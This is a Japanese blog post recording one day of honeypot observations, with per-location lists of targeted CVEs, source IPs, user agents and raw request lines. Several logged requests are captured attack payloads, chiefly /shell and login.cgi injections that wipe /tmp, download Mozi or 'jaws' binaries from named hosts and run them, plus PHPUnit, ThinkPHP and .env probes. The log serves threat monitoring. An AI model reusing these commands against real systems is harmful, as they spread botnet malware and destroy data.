コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2023/02/23 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2023/02/23分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

CensysInspectによるスキャン行為
aiohttpによるスキャン行為
node-fetchによるスキャン行為
okhttpによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  107.6.255.132/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
Nmap Scripting Engineによるスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  107.6.255.132/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget proxy.akur.group/jaws;
sh /tmp/jaws
Location:UK

D-link製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為
5.188.210.227に関する不正通信
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  107.6.255.132/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  107.6.255.132/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
他
アクセス数推移

JP：総アクセス数：117 (前日比：23)
US：総アクセス数：93 (前日比：-38)
UK：総アクセス数：237 (前日比：140)
SG：総アクセス数：262 (前日比：128)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 18.143.60.138 United States
11 18.212.230.67 United States
1 18.246.47.242 United States
2 38.242.128.76 United States
10 43.154.141.71 Singapore
1 45.56.108.128 United States
1 45.79.172.21 United States
2 45.79.181.223 United States
1 45.134.140.181 United Kingdom
1 47.88.94.161 United States
4 79.133.51.103 Germany
1 79.137.207.22 Russia
2 89.185.85.133 Russia
1 93.160.62.190 Denmark
1 95.181.161.66 Russia
5 95.214.235.205 Ukraine
1 103.74.106.206 Vietnam
1 103.90.160.113 India
1 103.177.185.215 India
1 104.192.0.50 United States
1 110.167.234.59 China
1 125.44.215.235 China
1 128.1.135.58 United States
8 135.125.217.54 France
6 135.125.244.48 France
3 138.197.127.252 United States
1 142.93.219.217 United States
2 143.244.50.172 United Kingdom
1 150.136.254.151 United States
3 167.99.191.227 United States
1 167.248.133.61 United States
2 170.64.134.120 United States
1 172.105.128.13 United States
2 179.43.142.157 Panama
2 185.100.87.136 Seychelles
4 185.142.236.41 Seychelles
3 185.254.196.115 Ukraine
1 192.155.90.118 United States
1 192.155.90.220 United States
1 192.227.173.18 United States
1 192.241.236.6 United States
21 194.233.65.81 Singapore
1 205.210.31.19 United States

UserAgent一覧

件数 UserAgent
25 -
6 Go-http-client/1.1
1 Hello, World
1 Hello, world
1 Mozilla/2.0 (compatible; Ask Jeeves/Teoma)
1 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
1 Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; Android 7.0; SM-J327T1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
21 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
1 Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0 SeaMonkey/2.28
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0
25 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 (iPhone; CPU iPhone OS 15_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1
2 Mozilla/5.0 zgrab/0.x
1 Python/3.7 aiohttp/3.7.4.post0
1 node-fetch/1.0 (+https[:]//github[.]com/bitinn/node-fetch)
1 okhttp/5.0.0-alpha.10

リクエスト内容一覧

件数 Method Request Protocol
1 27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0
1 MGLNDD_18.179.20.5_80\n
17 \x16\x03\x01
1 CONNECT proxy[.]korsangazi[.]com:443 HTTP/1.1
28 GET /.env HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /99vt HTTP/1.1
1 GET /99vu HTTP/1.1
1 GET /Public/home/js/check.js HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aaaaaaaaaaaaaaaaaaaaaaaaaqr HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /api/v2/data?publicToken=7ZPrKYPrpDItGsySTU6iwJ0dZMI&params%5Buser%5D%5Bfirstname%5D=Thang&params%5Buser%5D%5Blastname%5D=Ngo&params%5Buser%5D%5Bemail%5D=thangngo2212%40gmail.com&params%5Buser%5D%5BtrackFormEvent%5D=true&params%5Buser%5D%5BtrackAction%5D=false&params%5Buser%5D%5BacquiredFrom%5D=form_widget&params%5Buser%5D%5Bcpk%5D=false&params%5Buser%5D%5BneedsDOI%5D=true&params%5Buser%5D%5Bdt%5D=a0c710dd1c52e337077854ff5120ad2e&params%5Breferrer%5D%5BreferralCode%5D=7sts09p&params%5Breferrer%5D%5BrefSource%5D=copy&params%5BrefSource%5D=copy&params%5Baccessors%5D=widgets&params%5Baccessors%5D=campaignInfo&params%5Baccessors%5D=userData HTTP/1.1
1 GET /apis/apps/v1/namespaces/kube-system/daemonsets HTTP/1.1
1 GET /app/.env HTTP/1.1
2 GET /client/get_targets HTTP/1.1
1 GET /config.json HTTP/1.1
2 GET /config/getuser?index=0 HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
1 GET /dev/.env HTTP/1.1
1 GET /developer/.env HTTP/1.1
1 GET /development/.env HTTP/1.1
1 GET /env.save HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /frontend_dev.php/$ HTTP/1.1
1 GET /gate.php HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /localhost/.env HTTP/1.1
1 GET /locally/.env HTTP/1.1
1 GET /metrics HTTP/1.1
1 GET /platform/.env HTTP/1.1
1 GET /prod/.env HTTP/1.1
1 GET /production/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
3 GET /robots.txt HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ 107.6.255.132/jaws;sh+/tmp/jaws
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /stag/.env HTTP/1.1
1 GET /staging/.env HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /test/.env HTTP/1.1
1 GET /v1/agent/self HTTP/1.1\n
1 GET /v2/ HTTP/1.1
1 GET /v3/time HTTP/1.1
3 GET http[:]//ip-api.com/json/ HTTP/1.1
1 GET http[:]//proxy[.]korsangazi[.]com:80/bc61121a8191137a1f6357ea09cea3d3.html HTTP/1.1
10 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD /config.json HTTP/1.1
1 POST /FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /index.htm HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 20.251.12.114 United States
1 27.129.132.195 China
1 39.104.17.164 China
2 45.33.80.243 United States
1 45.79.181.179 United States
2 45.79.181.223 United States
1 45.128.234.149 Bulgaria
25 51.79.29.48 Canada
1 61.158.173.189 China
1 65.49.20.68 United States
1 79.137.202.2 Russia
1 89.185.85.133 Russia
1 89.208.103.146 Russia
1 95.181.161.66 Russia
1 103.90.161.250 India
1 103.176.113.105 Vietnam
2 109.237.97.180 Russia
2 109.237.98.226 Russia
4 143.244.50.172 United Kingdom
1 146.70.19.110 Romania
10 152.89.196.211 Russia
1 158.101.116.25 United States
3 161.97.174.99 Germany
2 162.142.125.222 United States
2 167.94.146.59 United States
1 172.104.11.4 United States
1 172.104.11.34 United States
3 172.104.11.46 United States
1 172.105.89.161 United States
1 172.173.247.184 Germany
2 179.43.177.242 Panama
1 185.180.143.79 Portugal
2 185.246.220.98 Bulgaria
1 187.190.60.72 Mexico
3 192.53.171.56 United States
1 192.155.90.220 United States
1 192.241.210.75 United States
1 193.29.105.174 Romania
1 194.87.151.116 Czechia
1 205.210.31.15 United States
2 206.189.120.50 United States
1 220.120.233.159 South Korea

UserAgent一覧

件数 UserAgent
25 -
7 Go-http-client/1.1
2 Hello, world
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
28 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
6 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
4 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2 Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)
2 Mozilla/5.0 zgrab/0.x
1 python-requests/2.28.2

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_34.68.118.83_80\n
2 \x16\x03\x01\x01H\x01
13 \x16\x03\x01
1 \x16\x03
31 GET /.env HTTP/1.1
1 GET /0bef HTTP/1.0
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /bJdM HTTP/1.1
4 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /kwJ0 HTTP/1.1
1 GET /metrics HTTP/1.1
4 GET /shell?cd+/tmp;rm+-rf+*;wget+ 107.6.255.132/jaws;sh+/tmp/jaws
1 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+proxy[.]akur[.]group/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /sugar_version.json HTTP/1.1
1 GET /v2/ HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET http[:]//ip-api.com/json/ HTTP/1.1
2 HEAD /.env HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
6 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 4.17.224.131 United States
1 5.181.86.250 Ukraine
1 5.188.210.227 Russia
1 20.251.12.114 United States
2 45.79.128.205 United States
1 45.79.181.104 United States
2 45.79.181.179 United States
1 45.79.181.223 United States
31 51.79.29.48 Canada
1 60.223.233.250 China
1 60.225.64.129 Australia
1 66.240.205.34 United States
1 68.183.187.123 United States
2 79.137.202.185 Russia
1 89.185.85.133 Russia
2 89.208.103.146 Russia
2 92.118.39.82 Romania
1 95.181.161.66 Russia
1 103.89.12.39 Philippines
145 109.74.204.123 United States
1 119.189.236.179 China
1 120.85.112.111 China
2 139.59.56.82 Singapore
3 143.244.50.172 United Kingdom
2 152.89.196.211 Russia
1 162.243.146.14 United States
3 170.64.158.55 United States
1 172.104.11.46 United States
1 172.104.11.51 United States
1 172.105.128.12 United States
3 179.43.177.242 Panama
2 185.156.72.27 Russia
4 185.165.190.17 Seychelles
1 185.180.143.8 Portugal
1 185.246.220.98 Bulgaria
1 190.211.252.122 Panama
2 192.155.90.118 United States
1 192.155.90.220 United States
1 194.87.151.116 Czechia
2 194.165.16.10 Panama
1 198.235.24.147 United States
1 205.185.121.69 United States
2 206.189.57.162 United States

UserAgent一覧

件数 UserAgent
32 -
5 Go-http-client/1.1
1 Hakai/2.0
2 Hello World
1 Hello, world
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
32 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
6 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 zgrab/0.x
143 curl/7.54.0
1 python-requests/2.28.2

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 Gh0st\xad
1 MGLNDD_132.145.66.34_80\n
1 SSH-2.0-libssh2_1.10.0
4 \x03
1 \x16\x03\x01\x02
16 \x16\x03\x01
1 CONNECT pro.ip-api[.]com:443 HTTP/1.1
33 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
1 GET /FjTX HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /__Additional HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin.asp HTTP/1.1
1 GET /admin.aspx HTTP/1.1
1 GET /admin.cfm HTTP/1.1
1 GET /admin.cgi HTTP/1.1
1 GET /admin.html HTTP/1.1
1 GET /admin.jhtml HTTP/1.1
1 GET /admin.jsa HTTP/1.1
1 GET /admin.jsp HTTP/1.1
1 GET /admin.php HTTP/1.1
1 GET /admin.pl HTTP/1.1
1 GET /admin.shtml HTTP/1.1
1 GET /base.asp HTTP/1.1
1 GET /base.aspx HTTP/1.1
1 GET /base.cfm HTTP/1.1
1 GET /base.cgi HTTP/1.1
1 GET /base.html HTTP/1.1
1 GET /base.inc HTTP/1.1
1 GET /base.jhtml HTTP/1.1
1 GET /base.jsa HTTP/1.1
1 GET /base.jsp HTTP/1.1
1 GET /base.php HTTP/1.1
1 GET /base.pl HTTP/1.1
1 GET /base.shtml HTTP/1.1
2 GET /cgi-bin/downloadFlile.cgi HTTP/1.1
2 GET /client/get_targets HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /default.asp HTTP/1.1
1 GET /default.aspx HTTP/1.1
1 GET /default.cfm HTTP/1.1
1 GET /default.cgi HTTP/1.1
1 GET /default.html HTTP/1.1
1 GET /default.jhtml HTTP/1.1
1 GET /default.jsa HTTP/1.1
1 GET /default.jsp HTTP/1.1
1 GET /default.php HTTP/1.1
1 GET /default.pl HTTP/1.1
1 GET /default.shtml HTTP/1.1
1 GET /docs/cplugError.html/ HTTP/1.1
4 GET /favicon.ico HTTP/1.1
1 GET /home.asp HTTP/1.1
1 GET /home.aspx HTTP/1.1
1 GET /home.cfm HTTP/1.1
1 GET /home.cgi HTTP/1.1
1 GET /home.html HTTP/1.1
1 GET /home.jhtml HTTP/1.1
1 GET /home.jsa HTTP/1.1
1 GET /home.jsp HTTP/1.1
1 GET /home.php HTTP/1.1
1 GET /home.pl HTTP/1.1
1 GET /home.shtml HTTP/1.1
1 GET /index.asp HTTP/1.1
1 GET /index.aspx HTTP/1.1
1 GET /index.cfm HTTP/1.1
1 GET /index.cgi HTTP/1.1
1 GET /index.html HTTP/1.1
1 GET /index.jhtml HTTP/1.1
1 GET /index.jsa HTTP/1.1
1 GET /index.jsp HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.pl HTTP/1.1
1 GET /index.shtml HTTP/1.1
1 GET /indice.asp HTTP/1.1
1 GET /indice.aspx HTTP/1.1
1 GET /indice.cfm HTTP/1.1
1 GET /indice.cgi HTTP/1.1
1 GET /indice.html HTTP/1.1
1 GET /indice.jhtml HTTP/1.1
1 GET /indice.jsa HTTP/1.1
1 GET /indice.jsp HTTP/1.1
1 GET /indice.php HTTP/1.1
1 GET /indice.pl HTTP/1.1
1 GET /indice.shtml HTTP/1.1
1 GET /inicio.asp HTTP/1.1
1 GET /inicio.aspx HTTP/1.1
1 GET /inicio.cfm HTTP/1.1
1 GET /inicio.cgi HTTP/1.1
1 GET /inicio.html HTTP/1.1
1 GET /inicio.jhtml HTTP/1.1
1 GET /inicio.jsa HTTP/1.1
1 GET /inicio.jsp HTTP/1.1
1 GET /inicio.php HTTP/1.1
1 GET /inicio.pl HTTP/1.1
1 GET /inicio.shtml HTTP/1.1
1 GET /localstart.asp HTTP/1.1
1 GET /localstart.aspx HTTP/1.1
1 GET /localstart.cfm HTTP/1.1
1 GET /localstart.cgi HTTP/1.1
1 GET /localstart.html HTTP/1.1
1 GET /localstart.jhtml HTTP/1.1
1 GET /localstart.jsa HTTP/1.1
1 GET /localstart.jsp HTTP/1.1
1 GET /localstart.php HTTP/1.1
1 GET /localstart.pl HTTP/1.1
1 GET /localstart.shtml HTTP/1.1
1 GET /login.cgi?cli=aa%20aa%27;wget%20http[:]//1[.]116[.]115[.]169/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1
1 GET /main.asp HTTP/1.1
1 GET /main.aspx HTTP/1.1
1 GET /main.cfm HTTP/1.1
1 GET /main.cgi HTTP/1.1
1 GET /main.html HTTP/1.1
1 GET /main.jhtml HTTP/1.1
1 GET /main.jsa HTTP/1.1
1 GET /main.jsp HTTP/1.1
1 GET /main.php HTTP/1.1
1 GET /main.pl HTTP/1.1
1 GET /main.shtml HTTP/1.1
1 GET /menu.asp HTTP/1.1
1 GET /menu.aspx HTTP/1.1
1 GET /menu.cfm HTTP/1.1
1 GET /menu.cgi HTTP/1.1
1 GET /menu.html HTTP/1.1
1 GET /menu.jhtml HTTP/1.1
1 GET /menu.jsa HTTP/1.1
1 GET /menu.jsp HTTP/1.1
1 GET /menu.php HTTP/1.1
1 GET /menu.pl HTTP/1.1
1 GET /menu.shtml HTTP/1.1
1 GET /nmaplowercheck1677043834 HTTP/1.1
1 GET /pools/default/buckets HTTP/1.1
1 GET /pools HTTP/1.1
1 GET /readme.txt HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ 107.6.255.132/jaws;sh+/tmp/jaws
1 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /start.asp HTTP/1.1
1 GET /start.aspx HTTP/1.1
1 GET /start.cfm HTTP/1.1
1 GET /start.cgi HTTP/1.1
1 GET /start.html HTTP/1.1
1 GET /start.jhtml HTTP/1.1
1 GET /start.jsa HTTP/1.1
1 GET /start.jsp HTTP/1.1
1 GET /start.php HTTP/1.1
1 GET /start.pl HTTP/1.1
1 GET /start.shtml HTTP/1.1
1 GET /sugar_version.json HTTP/1.1
1 GET default.asp HTTP/1.1
1 GET http[:]//5[.]188[.]210[.]227/echo.php HTTP/1.1
5 GET http[:]//ip-api.com/json/ HTTP/1.1
1 HEAD / HTTP/1.1
2 POST /HNAP1/ HTTP/1.0
6 POST /boaform/admin/formLogin HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
1 POST /sdk HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 14.106.52.89 China
2 45.9.110.187 Hong Kong
1 45.56.108.128 United States
1 45.79.128.205 United States
1 45.79.172.21 United States
1 45.79.181.179 United States
2 45.79.181.223 United States
30 51.79.29.48 Canada
1 52.146.17.145 United States
9 54.83.91.173 United States
1 64.62.197.140 United States
1 66.240.192.82 United States
6 77.108.217.37 Russia
1 79.137.202.2 Russia
1 79.137.202.185 Russia
1 89.185.85.133 Russia
1 89.208.103.146 Russia
1 92.118.39.82 Romania
1 93.160.62.190 Denmark
1 95.181.161.66 Russia
1 103.90.161.61 India
145 139.162.7.59 Netherlands
3 143.244.50.172 United Kingdom
11 152.89.196.211 Russia
2 158.140.118.156 Palestine
2 162.142.125.220 United States
1 162.243.151.24 United States
2 164.92.117.229 United States
2 167.248.133.43 United States
3 170.64.177.19 United States
1 172.104.11.4 United States
2 172.104.11.46 United States
2 172.105.128.12 United States
1 172.105.128.13 United States
1 175.107.0.73 Pakistan
2 179.43.177.242 Panama
2 183.136.225.32 China
1 185.180.143.8 Portugal
3 185.180.143.80 Portugal
3 185.246.220.98 Bulgaria
1 192.155.90.220 United States
1 194.87.151.116 Czechia
2 194.165.16.76 Panama
1 194.180.49.104 Bulgaria
1 199.19.73.72 United States
1 205.210.31.135 United States
1 220.180.37.203 China

UserAgent一覧

件数 UserAgent
36 -
4 Go-http-client/1.1
1 Hello World
1 Hello, world
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.126 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
4 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
4 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
31 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
7 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2 Mozilla/5.0 zgrab/0.x
1 Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
143 curl/7.54.0
1 python-requests/2.28.1

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_13.67.44.234_80
2 \x03
1 \x16\x03\x01\x02
19 \x16\x03\x01
1 GET /.ebextensions/ HTTP/1.1
31 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /99vt HTTP/1.1
1 GET /99vu HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /AjWZ HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
